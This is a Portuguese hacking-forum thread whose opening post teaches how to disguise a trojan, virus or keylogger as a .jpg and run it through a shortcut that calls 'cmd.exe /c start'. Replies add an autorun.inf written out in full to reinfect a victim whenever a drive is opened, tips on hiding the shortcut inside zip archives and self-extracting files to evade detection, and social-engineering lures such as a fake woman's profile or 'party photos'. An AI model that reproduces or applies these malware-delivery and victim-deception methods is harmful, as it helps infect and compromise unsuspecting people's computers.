FORUM DARKERS

Segurança & Hacking => Penetration Tests => Topic started by: DarkGenesis on 31 de March , 2007, 09:06:49 AM

Title: Executar jpg como um exe.
Post by: DarkGenesis on 31 de March , 2007, 09:06:49 AM
Pegue um arquivo exe que vc tem, e difarçe ele com uma extensão jpg ou txt, ou outra qualquer.... Para fazer isso para melhor entendimento, crie uma pasta no seu c:\ e coloque o seu executavel dentro dessa pasta, renomeie o seu executavel para um nome qualquer e com uma extensão que disfarçe bem o seu virus, trojan ou kl....

exemplo:trojan.exe, renomeie para trojan.jpg ou trojan.txt, fazendo com que ele se torne um arquivo de extensão diferente.
(http://img367.imageshack.us/img367/3716/imagemig3.jpg)

Agora é hora de criar um arquivo de comando que irá executar o jpg como se fosse um arquivo executável...

clique com o botão direito em uma area em branco e crie um atalho, como mostra a baixo:
(http://img169.imageshack.us/img169/3900/imagem2yf0.jpg)

na primeira opção "linha de comando", selecione o arquivo jpg que esta disfaçado.

na segunda opção "digite um nome para o atalho", coloque um nome qualquer com a extensão lnk.

exemplo: arquivo.lnk

dps clique em concluir.

Agora clique com o botão direito do mouse no arquivo.lnk, voce ira ve esta tela a baixo:

(http://img61.imageshack.us/img61/3917/imagem3es3.jpg)

Na opção "Destino", coloque esta linha de comando %systemroot%\System32\cmd.exe /c start foto.jpg

Ficando assim:

(http://img61.imageshack.us/img61/7189/imagem4uz6.jpg)

O cmd irá executar a extensão jpg como se fosse um exe...
Você pode alterar o ícone do arquivo.lnk como vc quiser...

Fonte: Invasao
Autor: Zørrø
Title: Re: Executar jpg como um exe.
Post by: #phobia on 31 de March , 2007, 10:24:54 AM
Nossa... Muito bom velho!

Gostei mesmo, ainda não sabia dessa. Com certeza vai ajudar bastante!


Vlw!!!
Title: Re: Executar jpg como um exe.
Post by: anakim on 31 de March , 2007, 09:14:18 PM
mt boa essa!!!
Title: Re: Executar jpg como um exe.
Post by: whit3_sh4rk on 31 de March , 2007, 11:40:21 PM
Método interessante.. atualmente a galera está "esperta" e mtos já sabem conhecer um executável.. porém nada que uma SEing não resolva... agora com essa aí de .JPG... Háaa.. vai rolar a festa mesmo rs..

[]s
Title: Re: Executar jpg como um exe.
Post by: Mental_Way on 01 de April , 2007, 07:43:20 AM
Muito boa essa...

Realmente é um método que vem para ajudar e muito em uma boa seing... :D

Sem +...
Title: Re: Executar jpg como um exe.
Post by: Anonymous on 01 de April , 2007, 09:34:37 AM
Nussa muito bom com... Parabéns pelo tuto perfeito.
Title: Re: Executar jpg como um exe.
Post by: Zero cool on 01 de April , 2007, 10:10:52 AM
A desvantagem é ter que enviar os dois arquivos se não o mesmo acredito que não fique funcional mais tá valendo.
Abraço!
Title: Re: Executar jpg como um exe.
Post by: #phobia on 01 de April , 2007, 10:33:45 AM
Quote from: "Zero cool"A desvantagem é ter que enviar os dois arquivos se não o mesmo acredito que não fique funcional mais tá valendo.
Abraço!

É verdade, mas até que não é um grande problema...
Basta colocar o arquivo como oculto e zipar os dois (o oculto e o não oculto) em uma pasta. Daí quando o indivíduo abrir a pasta vai ver só um arquivo...   ;D

Bye!
Title: Re: Executar jpg como um exe.
Post by: rog on 01 de April , 2007, 02:48:29 PM
daria para auto executar o link com um arquivo .inf

esse e um exemple que eu fisse para reinfectar a vitima a cada vez que ele abra o drive D:

conteudo do autorun.inf

[autorun]
icon=stub.exe
open=stub.exe
action=usb stick
label=usb stick
shell\open\command=stub.exe
shell\open=usb stick

usb stick e o label do drive D:

rog
Title: Re: Executar jpg como um exe.
Post by: keyhell on 02 de April , 2007, 09:31:11 AM
No caminho do atalho %systemroot%\System32\cmd.exe /c start foto.jpg  o "/c" seria a raiz C:\ ??
Pq se vc enviar pra alguem executar os arquivos deveriam estar na raiz.
Estou correto?

Abraços
Title: Re: Executar jpg como um exe.
Post by: whit3_sh4rk on 02 de April , 2007, 12:39:39 PM
[keyhell]
Não.. /c é um parâmetro.. e a variável: %systemroot% retorna a pasta onde está instalado o Windows..

Para mais detalhes digite no prompt: cmd /?

E teste: echo %systemroot%..

[]s
Title: Re: Executar jpg como um exe.
Post by: Exter on 25 de April , 2007, 07:32:43 PM
muito bom!!
Title: Re: Executar jpg como um exe.
Post by: Anonymous on 27 de May , 2007, 10:20:50 AM
mto boa a dica, vai ser bem util aki pra mim =]
Title: Re: Executar jpg como um exe.
Post by: Anonymous on 12 de July , 2007, 03:39:55 PM
Bom estive pensando, a poucos dias achei um progama no qual vc pode encriptar textos na imagem e ser envia a alguem e essa pessoa com o msm progama pode abrir a imagem e poder ler o texto q foi colocado na msm.. intaum pensando nisso

teria como a gente enserir um codigo WORM , ow algum comando exe dentro da imagem e mandar para alguem p/ que quando essa pessoa abrir a imagem o comando  q foi inserido poder execultar ....

OBS: a imagem irar abrir normal , mais sendo q o texto q no caso um virus ow worm sera acinado apos o click da vitima...


espero retorno
Title: Re: Executar jpg como um exe.
Post by: Anonymous on 12 de July , 2007, 08:12:54 PM
Excelente tecnica, que além de esconder o arquivo, você pode até alterar o icone.  :D

Agora e so usar a cabeça "Engenharia Social" e pronto.
Title: Re: Executar jpg como um exe.
Post by: Anonymous on 19 de October , 2007, 01:17:20 PM
Gostei muito deste tópico..fiquei sumido mais voltei :)
Title: Re: Executar jpg como um exe.
Post by: Anonymous on 19 de October , 2007, 02:21:35 PM
Quote from: "# phobia"É verdade, mas até que não é um grande problema...
Basta colocar o arquivo como oculto e zipar os dois (o oculto e o não oculto) em uma pasta.
Daí quando o indivíduo abrir a pasta vai ver só um arquivo...   ;D

Bye!

Se o server ou trojan for detectável use o filzip (//http://rapidshare.com/files/63701437/filzip_305.exe) para criar um arquivo sfx,
como eram criados os joiners antigamente, com algumas adaptações, é claro! :)
Title: Re: Executar jpg como um exe.
Post by: Nikita on 19 de October , 2007, 03:18:30 PM
Mt boooouumm meessmo!!  E o que é melhor.. de fácil entendimento!!!   ;)
Title: Re: Executar jpg como um exe.
Post by: DC on 02 de June , 2008, 04:05:53 PM
A forma que foi explicado é sumariamente perfeita...até eu um simples...na arte...aprendi...?

Parabéns!?
Title: Re: Executar jpg como um exe.
Post by: duende on 05 de June , 2008, 04:30:50 PM
Boa TArde.

Isso é otimo...

Oque voce tambem pode fazer eh o seguinte...colokar varias fotos num arquivo .rar ou .zip para mandar pra vitima (jah q 1 ou 2 fotos nao ha a "necessidade" de zipar) e dentro desse .rar esconder o arquivo.ink...usando uam boa engenharia social dizendo q vc zipou todas as foto pra enviar masi rapidamente e de uma soh vez...

Se vc estiver realmente afim de pegar "aquele" cara em especial vale a pena...criando um perfil/msn de uma mulher e falando q eh u book de modelo...para uma pessoa q vc conhece na vida real dizendo q sao fotos de uma festa e por ai vai...todo mundo tem um cerebro

abraços..
Title: Re: Executar jpg como um exe.
Post by: BruninhaOfHeavens on 18 de October , 2008, 08:20:56 PM
Muito obrigado, e parabéns,
isso aí vai ajudar muita gente!  ;)
Title: Re:Executar jpg como um exe.
Post by: Nikofoxxx on 13 de December , 2009, 08:37:54 PM
tipo... muda a extensão do arquivo sem altera a funcionalidade é um otimo metodo...
rs... td mundo sabe q um arquivo .exe pode ser perigoso, mas um .jpg ninguem desconfia ;]
ótimo post!
abrasss
Title: Re: Executar jpg como um exe.
Post by: Skyther0x on 10 de March , 2010, 08:09:08 PM
Quote from: rog on 01 de April , 2007, 02:48:29 PM
daria para auto executar o link com um arquivo .inf

esse e um exemple que eu fisse para reinfectar a vitima a cada vez que ele abra o drive D:

conteudo do autorun.inf

[autorun]
icon=stub.exe
open=stub.exe
action=usb stick
label=usb stick
shell\open\command=stub.exe
shell\open=usb stick

usb stick e o label do drive D:

rog

nao entendi direito =(    como eu faria para ser no driver c:  eu tentei aki e nao deu =/

aparece falha na instalaçao
Title: Re:Executar jpg como um exe.
Post by: Skyther0x on 22 de March , 2010, 11:37:57 PM
Alguem ?  :D
Title: Re:Executar jpg como um exe.
Post by: IngridBSC on 04 de May , 2010, 06:01:06 PM
Máquina Virtual 01

Olá, desculpe o incomodo, mas já realizei vários testes diferentes,
e gostaria de saber se tem como executar o atalho dentro do arquivo zipado ou .rar,
tentei de todas as maneiras e não deu certo. Mas quando extraí o arquivo e coloquei em pastas diferentes apagando ou não as pastas que eu tinha extraído deu tudo certo.

Máquina Virtual 02

Bom, na minha Máquina Virtual 02, criei atalhos diversos, tanto para jpg quanto para .exe inserindo o código para o cmd interpretar o arquivo como um executável e não deu certo de maneira nenhuma, sempre dá esse erro.

Erro de Aplicativo
Aplicativo não inicializado corretamente (0xc0000135). Clique em 'OK' para finalizar a execução.

Alguém poderia me ajudar porfavor?

Title: Re:Executar jpg como um exe.
Post by: guioximitsu on 19 de May , 2010, 01:26:00 PM
Muito boa a dica  :)
Obrigado!
Title: Re:Executar jpg como um exe.
Post by: billcfonseca on 17 de June , 2010, 12:52:09 AM
não pego imagem aki
Title: Re:Executar jpg como um exe.
Post by: billcfonseca on 22 de June , 2010, 08:32:57 AM
bad picture... not load  >:(
Title: Re:Executar jpg como um exe.
Post by: black pirate on 19 de September , 2010, 02:03:40 AM
valeu cara muito bom...